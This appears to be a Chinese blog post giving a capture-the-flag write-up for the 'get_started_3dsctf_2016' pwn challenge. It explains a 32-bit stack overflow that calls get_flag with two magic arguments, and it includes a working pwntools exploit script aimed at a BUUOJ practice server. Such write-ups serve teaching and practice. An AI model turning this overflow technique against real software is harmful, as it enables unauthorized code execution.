欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

get_started_3dsctf_2016

程序员文章站 2024-01-20 08:36:04
...

先看ida

发现get_flag函数需要a1和a2两个参数等于特定值就可以读到flag
get_started_3dsctf_2016

可以利用main中的栈溢出进行传参

32位程序payload = offset + 函数地址 + 返回地址 + 参数

返回地址我们利用程序中的exit:

get_started_3dsctf_2016

exp:

from pwn import *
p = remote('node3.buuoj.cn',29726)
context.log_level = 'debug'
sleep(0.1)
get_flag = 0x080489A0
exit_addr = 0x0804E6A0 
payload = 'a'*56
payload += p32(get_flag) + p32(exit_addr) # 函数地址 返回地址
payload += p32(0x308CD64F) + p32(0x195719D1) # 参数
p.sendline(payload)
sleep(0.1)
p.recv()

参考

相关标签: Pwn